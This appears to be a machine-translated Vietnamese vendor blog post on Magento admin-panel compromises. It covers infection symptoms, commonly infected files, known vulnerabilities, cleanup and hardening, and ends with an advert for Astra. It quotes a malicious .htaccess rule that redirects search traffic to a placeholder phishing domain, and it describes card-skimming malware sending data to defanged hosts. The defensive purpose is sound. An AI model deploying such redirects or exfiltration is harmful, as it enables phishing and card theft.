Magento đã đóng góp vào sự phát triển của thương mại điện tử qua internet. Có cả phiên bản miễn phí (phiên bản cộng đồng) và trả phí (phiên bản doanh nghiệp), Magento đang dẫn đầu thị trường phần mềm thương mại điện tử mã nguồn mở. Magento 2 đã được ra mắt khá lâu và có một số cập nhật hiệu suất và bảo mật mạnh mẽ. Tuy nhiên, hầu hết các trang web không có khả năng cập nhật lên phiên bản mới, do đó khiến chúng dễ bị tấn công Magento Admin và các cuộc tấn công khác. Mark Lavelle, Giám đốc điều hành của Magento, hiểu các rủi ro bảo mật và do đó nhận xét rằng,
Magento Admin Hack:Ví dụ
Bảng điều khiển dành cho quản trị viên là một trong những khu vực giàu tài nguyên nhất của cửa hàng Magento vì nó có thể cung cấp quyền truy cập đặc quyền cao vào trang web. Vì vậy, khi nó bị xâm nhập do bị hack quản trị Magento, người dùng không có cách khắc phục nào khác ngoài việc cầu cứu. Người dùng bị xâm phạm có thể được tìm thấy yêu cầu hỗ trợ trên các diễn đàn cộng đồng.
Magento Admin Hack:Triệu chứng
- Khách hàng phàn nàn về thông tin thẻ tín dụng bị đánh cắp.
- Nhiều quản trị viên xuất hiện trên trang tổng quan Magento.
- Trang web được truy cập từ nhiều IP không xác định.
- Cửa hàng Magento đã bị xóa.
- Bản quét trang web sẽ hiển thị thông tin thẻ tín dụng đã lưu.
- Nhật ký FTP hiển thị các lần kết nối thành công từ các thiết bị không xác định.
- Mã độc hại được đưa vào trong các tệp đang chuyển hướng quản trị viên đến một trang lừa đảo.
- Cửa hàng Magento đã bị công cụ tìm kiếm đưa vào danh sách đen.
- Nếu bạn đang sử dụng dịch vụ lưu trữ của bên thứ ba và thông báo "Tài khoản của bạn đã bị tạm ngưng!" xuất hiện.
Magento Admin Hack:Các tệp thường bị nhiễm
a) config.php &env.php
Config.php và Env.php là các tệp quan trọng của cài đặt Magento. Đây là một phần trong cấu hình triển khai của Magento 2 và bao gồm cấu hình được chia sẻ &dành riêng cho hệ thống để cài đặt Magento 2. Cấu hình triển khai của Magento được phân chia giữa app/etc/config.php
và app/etc/env.php
. Các tệp này về cơ bản tạo điều kiện kết nối giữa hệ thống tệp và cơ sở dữ liệu. env.php chứa thông tin xác thực kết nối cơ sở dữ liệu. Ngoài điều này, nó cũng có thể được sử dụng để:
- Xác định khóa bảo mật.
- Để chỉ định tiền tố cơ sở dữ liệu.
- Để đặt ngôn ngữ mặc định cho bảng điều khiển quản trị của bạn.
app/etc/config.php
là một tệp được tạo tự động, lưu trữ danh sách các mô-đun, chủ đề và gói ngôn ngữ đã cài đặt ngoài cài đặt cấu hình được chia sẻ. Nó không có trong bản phát hành / repo Magento 2 vì nó được tạo tự động.
Magento 2
Khởi động Magento 2.2, app/etc/config.php
tệp không còn là mục nhập trong .gitignore
tập tin. Điều này được thực hiện để tạo điều kiện phát triển phần mềm tốt hơn.
Cập nhật: Phần được cập nhật để đồng bộ hóa với Magento DevDocs (https://devdocs.magento.com/guides/v2.3/config-guide/config/config-php.html) sau phản hồi của người đọc.
Nhiều lần, config.php đã bị tin tặc lây nhiễm mã độc để đánh cắp thông tin đăng nhập của người dùng. Đây là một mẫu phần mềm độc hại như vậy đã được tìm thấy:
Một vài dòng mã đầu tiên chứa một chức năng độc hại được gọi là bản vá. Điều này về cơ bản sửa đổi nội dung của các tệp. Các tệp đã sửa đổi được tiêm mã độc hại được lấy từ nguồn bên ngoài (Pastebin). Nó ảnh hưởng đến tất cả các tệp liên quan đến thanh toán và người dùng như:
/app/code/core/Mage/Payment/Model/Method/Cc.php
/app/code/core/Mage/Payment/Model/Method/Abstract.php
/app/code/core/Mage/Admin/Model/Session.php
/app/code/core/Mage/Admin/Model/Config.php
Hơn nữa, nó sử dụng mã hóa base64 để tránh bị phát hiện. Ngoài điều này ra, nó còn sử dụng các kỹ thuật thông minh khác để ẩn nấp. Ví dụ:mã $ link_a =$ link.’YTGgAnrv ’; có thể được dịch thành $ link_a =‘hxxp:// pastebin [.] com / raw / YTGgAnrv’; . Hơn nữa, thông tin đăng nhập quản trị viên bị đánh cắp và thông tin chi tiết thẻ tín dụng sẽ bị chuyển sang 2 miền, cụ thể là:
hxxp://magento.ontools[.]net/update
hxxp://www.bgsvetlina[.[com/post.php
Ngoài ra, phần mềm độc hại sử dụng “ error_reporting (0); ”. Điều này sẽ ngăn chặn bất kỳ báo cáo lỗi nào có thể phát hiện ra sự lây nhiễm trên cửa hàng Magento. Do đó, phần mềm độc hại này có khả năng đánh cắp CC cũng như hack khu vực quản trị viên Magento.
b) Index.php
Index.php là trang đích cho cửa hàng Magento của bạn. Do đó những kẻ tấn công sử dụng nó cho các cuộc tấn công khác nhau như phá hoại cửa hàng. Hoặc đôi khi, ransomware có thể mã hóa tất cả nội dung tệp, chỉ để lại index.php với yêu cầu đòi tiền chuộc. Ngoài ra, các bản cập nhật có thể gây ra sự cố với index.php
tập tin. Một số quản trị viên web chỉ cần đổi tên tệp chỉ mục thành index.php.old
trong khi cập nhật hệ thống. Những tệp như vậy chứa thông tin quan trọng và những kẻ tấn công có thể phát hiện ra sau này bằng cách sử dụng máy quét tự động.
c) .htaccess
Thay đổi cấu hình của Magento trên cơ sở từng thư mục có thể được thực hiện bằng cách sử dụng tệp .htaccess. Nó cho phép người dùng sửa đổi cấu hình chính được định nghĩa trong httpd.conf / apache.conf. Các hướng dẫn được cung cấp trong tệp .htaccess được áp dụng cho thư mục cũng như tất cả các thư mục con trong thư mục có tệp này. Ngoài ra, tệp .htaccess giúp sửa đổi cách truy cập trang web. Hơn nữa, .htaccess có thể được sử dụng để:
- Chặn quyền truy cập vào các thư mục nhất định của cửa hàng Magento.
- Tạo Chuyển hướng cho cửa hàng.
- Buộc HTTPS.
- Giảm thiểu một số cuộc tấn công chèn tập lệnh vào cửa hàng.
- Chặn việc liệt kê tên người dùng bởi bot.
- Chặn liên kết nóng hình ảnh.
- Buộc tải xuống tự động tệp từ cửa hàng.
Khi tệp mạnh mẽ này bị xâm phạm, những kẻ tấn công có thể sử dụng nó để gửi thư rác. .htaccess
tệp có thể được tiêm mã độc để chuyển hướng người dùng. Để làm rõ thêm, một chữ ký mã độc hại như vậy được đưa ra dưới đây:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* https://PhishingDomain.tld/phish.php?t=3 [R,L]
Mã độc này ở dòng cuối cùng chuyển hướng lưu lượng truy cập của người dùng khỏi trang web. Người dùng được chuyển hướng đến https://PhishingDomain.tld
. Sau đó, nó cố gắng tải phish.php
script. Tập lệnh này có thể trông giống như một bảng quản trị đăng nhập ban đầu. Những người dùng không được nghi ngờ sau đó có thể cung cấp thông tin xác thực cho những kẻ tấn công. Điều này có thể dẫn đến việc hack khu vực quản trị viên Magento.
Magento Admin Hack:Các cuộc tấn công phổ biến
Magento đã ra mắt gói cập nhật quan trọng có tên SUPEE-10975 vào ngày 28 tháng 11 năm 2018. Điều này chứa một số cập nhật bảo mật quan trọng liên quan đến các lỗ hổng có thể dẫn đến sự xâm nhập của cửa hàng Magento. Một số cuộc tấn công phổ biến là:
1) Magento Authentication Brute Force
Một cuộc tấn công bạo lực xác thực Magento cho phép kẻ tấn công thử nhiều mật khẩu cho đến khi tìm thấy mật khẩu phù hợp. Một lỗ hổng như vậy có tên là PRODSECBUG-1589 đã được tìm thấy. Điều này ảnh hưởng đến Mã nguồn mở Magento trước 1.9.4.0 và Magento Commerce trước 1.14.4.0. Khai thác điều này, kẻ tấn công có thể bắt buộc thực hiện các yêu cầu đối với các nút RSS. Một số nút này yêu cầu xác thực quản trị viên. Vì vậy, bằng cách sử dụng này, kẻ tấn công có thể đoán được mật khẩu quản trị. Lỗ hổng bảo mật nghiêm trọng đến mức nó được đánh giá là 9. Lỗ hổng này có thể ảnh hưởng đến bảng điều khiển quản trị của Magento.
2) Thực thi mã từ xa Magento
Lỗ hổng RCE cho phép kẻ tấn công chạy mã chưa được xác minh trên cửa hàng Magento của bạn. Magento Community Edition và Enterprise Edition trước 2.0.6 dễ bị lỗi RCE. Lỗ hổng này về cơ bản cho phép những kẻ tấn công từ xa thực hiện các cuộc tấn công tiêm phản đối PHP. Điều này sẽ cho phép thực thi mã PHP tùy ý thông qua dữ liệu giỏ hàng được tuần tự hóa thủ công. Khai thác cho lỗi này đã được phát hành và một mô-đun Metasploit cũng có sẵn. Một lỗ hổng RCE khác có tên là PRODSECBUG-2159 đã được phát hiện trong Magento Open Source trước 1.9.4.0 và Magento Commerce trước 1.14.4.0 và Magento 2.1 trước 2.1.16, Magento 2.2 trước 2.2.7. Nó có điểm mức độ nghiêm trọng CVSSv3 là 8,5. Ngoài ra, bản cập nhật bảo mật SUPEE-10975 còn chứa nhiều bản cập nhật bảo mật liên quan đến RCE. Một số khai thác đơn giản như tải tệp lên trong khi đính kèm video (PRODSECBUG-2156).
3) Magento Cross-Site Scripting
Lỗ hổng XSS là một trong những lỗ hổng phổ biến nhất được tìm thấy trên web ảnh hưởng đến các cửa hàng Magento. Một lỗ hổng XSS như vậy đã được gọi là ODSECBUG-2053 ảnh hưởng đến Mã nguồn mở Magento trước 1.9.4.0 và Magento Commerce trước 1.14.4.0, Magento 2.1 trước 2.1.16, Magento 2.2 trước 2.2.7. Các phiên bản này dễ bị tấn công XSS thông qua mẫu Bản tin. Một cuộc tấn công XSS có thể cho phép kẻ tấn công lừa quản trị viên tiết lộ thông tin đăng nhập thông qua javascript lừa đảo dẫn đến việc hack quản trị viên Magento.
4) Giả mạo yêu cầu trên nhiều trang web của Magento
Một cuộc tấn công CSRF của Magento về cơ bản đánh lừa người dùng thực hiện các yêu cầu không mong muốn trên ứng dụng web mà họ đang sử dụng. Tuy nhiên, điều đáng chú ý ở đây là kẻ tấn công chỉ có thể thực hiện các yêu cầu, không có cách nào để kẻ tấn công nhìn thấy phản hồi đồng nghĩa với việc đánh cắp dữ liệu là không có. Nhiều lỗi CSRF đã được phát hiện trong Magento có tên là PRODSECBUG-2125, PRODSECBUG-2088 và PRODSECBUG-2140. Những thứ này có thể lừa người dùng xóa:
- Tất cả các khối cùng một lúc.
- Nhiều nhóm khách hàng khác nhau của cửa hàng Magento thông qua các đặc quyền tăng dần.
- Sơ đồ trang web của cửa hàng Magento.
Cần trợ giúp chuyên nghiệp để làm sạch trang web Magento bị tấn công? Gửi tin nhắn cho chúng tôi trên tiện ích trò chuyện và chúng tôi rất sẵn lòng trợ giúp bạn. Sửa lỗi Magento Admin Hack Now.
5) Magento Admin Hack:File Cleanup
Đầu tiên để bảo mật bảng quản trị Magento, hãy thay đổi mật khẩu thành mật khẩu an toàn. Điều này có thể được thực hiện cho cả Magento 1 và 2 bằng cách sử dụng câu lệnh SQL sau, người dùng cập nhật đặt pass =concat (‘ZZZ’, sha (concat (pass, md5 (rand ())))));
Đối với cả Magento 1 và 2, bây giờ hãy kiểm tra mã độc bên trong các tệp tin bị nhiễm hack của quản trị viên Magento. Một số cách phổ biến là:
Index.php
.htaccess
config.php
Cron Jobs
Bên trong các tệp này, hãy cố gắng tìm ra mã độc hại và nhận xét mã đó để xóa sau này. Ngoài ra, hãy tìm kiếm mã độc được mã hóa Base64. Một lệnh đơn giản có thể thực hiện thủ thuật.
find . -name "*.php" -exec grep "base64"'{}'; -print &> hiddencode.txt
Đoạn mã này sẽ quét tìm mã được mã hóa base64 và lưu nó vào bên trong hiddencode.txt
. Sử dụng các công cụ trực tuyến để phân tích sâu hơn về mã này. Các công cụ như phpMyAdmin giúp ích rất nhiều trong việc tìm kiếm nhiều tệp bị nhiễm hack quản trị viên Magento trong một lần. Tìm kiếm mã độc hại bằng phpMyAdmin như trong hình dưới đây.
Bảo mật Bảng quản trị Magento
1) Cập nhật và sao lưu
Magento thường xuyên phát hành các bản cập nhật bảo mật. Đảm bảo luôn cài đặt các bản vá mới nhất. Chuyển sang Magento 2 nếu bạn chưa có. Magento 2 an toàn hơn và hiệu suất được nâng cao. Ngoài ra, hãy giữ một bản sao lưu của cửa hàng Magento của bạn để có thể khôi phục nó trong trường hợp bị tấn công.
2) Sử dụng HTTPS
Điều quan trọng là phải mã hóa việc trao đổi thông tin giữa khách hàng và cửa hàng Magento. Do đó, hãy sử dụng chuẩn SSL để bảo vệ các giao dịch trực tuyến của khách hàng. Đối với Magento 1, việc này có thể được thực hiện qua 3 bước đơn giản:
- Trước tiên, điều hướng đến Bảng điều khiển quản trị> Hệ thống> Cấu hình> Chung> Web> Bảo mật.
- Bây giờ, hãy sửa đổi cài đặt Base_url từ “http” thành “https”.
- Cho phép sử dụng các URL an toàn trong Giao diện người dùng và Quản trị viên.
Đối với Magento 2, hãy truy cập Cửa hàng> Cài đặt> Cấu hình> Web> Chung, như thể hiện trong hình ảnh bên dưới.
3) Ngẫu nhiên hóa URL quản trị viên mặc định
Nếu nhật ký cho thấy các cuộc tấn công vũ phu thường xuyên đối với quản trị viên Magento, giải pháp tốt nhất sẽ là ngẫu nhiên hóa nó. Thay đổi nó thành một URL bạn chọn và tránh URL mặc định. Điều này có thể được thay đổi trong Magento 1 bằng cách điều hướng đến: Quản trị> Cửa hàng> Cấu hình> Nâng cao> Quản trị
Đối với Magento 2, quy trình tương tự cũng được áp dụng. Điều hướng đến Cửa hàng> Cấu hình> Nâng cao. Xem hình ảnh đưa ra bên dưới để làm rõ thêm.
4) Sử dụng xác thực hai yếu tố
Xác thực hai yếu tố có thể thêm một lớp bảo mật bổ sung cho bảng điều khiển quản trị Magento. Nó chủ yếu dựa trên ứng dụng Google Authentication. Lúc đầu, quản trị viên cần quét mã QR. Điều này sau đó sẽ tạo ra một số sáu chữ số ngẫu nhiên. Thời gian chờ là 30 giây. Do đó, chỉ có thể truy cập bảng quản trị Magento sau khi nhập khóa xác minh cùng với thông tin đăng nhập. Tuy nhiên, tính năng này không có sẵn trong Magento theo mặc định và bạn cần phải mua các plugin của bên thứ ba để sử dụng nó. Các plugin này có thể hoạt động trên cả Magento 1 cũng như Magento 2.
5) Hạn chế quyền truy cập
Bảng điều khiển dành cho quản trị viên không dành cho bất kỳ ai ngoài quản trị viên truy cập. Do đó, sẽ là một quyết định khôn ngoan nếu chỉ cho phép một số IP nhất định truy cập vào nó. Điều này có thể được thực hiện với sự trợ giúp của tệp .htaccess trong cả Magento 1 và 2. Để chỉ cho phép một IP cụ thể mà bạn chọn, hãy nối mã sau vào tệp .htaccess.
lệnh từ chối, cho phép
tư chôi tât cả
cho phép từ xxx.xxx.xxx.xxx
6) Sử dụng Giải pháp Bảo mật
Ngay cả sau khi dọn dẹp và khôi phục trang web của bạn, vụ hack quản trị viên Magento có thể tái diễn. Lý do có thể là một cửa hậu bị kẻ tấn công để lại hoặc đơn giản là một lỗ hổng có thể chưa được vá. Để tránh những trường hợp như vậy, chúng tôi khuyên bạn nên sử dụng WAF hoặc giải pháp bảo mật thuộc một số loại. Bây giờ nhiệm vụ hàng đầu là tìm tường lửa phù hợp cho cửa hàng Magento của bạn. Nhiều yếu tố như khả năng mở rộng, dễ sử dụng, tài nguyên có sẵn, v.v. cần được xem xét trước khi mua. Astra Website Protection rất được khuyến khích vì nó có thể dễ dàng đáp ứng tất cả các yêu cầu của bạn. Tường lửa Astra có khả năng mở rộng cao, cho phép bạn bảo vệ các blog cá nhân hoặc các cửa hàng lớn cùng một lúc. Hơn nữa, việc sử dụng Astra không yêu cầu kiến thức bảo mật phức tạp vì mọi thứ có thể được quản lý thông qua một bảng điều khiển đơn giản.
Ngoài tường lửa, Astra cũng cung cấp tính năng kiểm tra bảo mật toàn diện và tính năng dồn nén. Điều này giúp bạn có lợi thế hơn so với những kẻ tấn công trong việc phát hiện ra sơ hở trong cửa hàng Magento của bạn.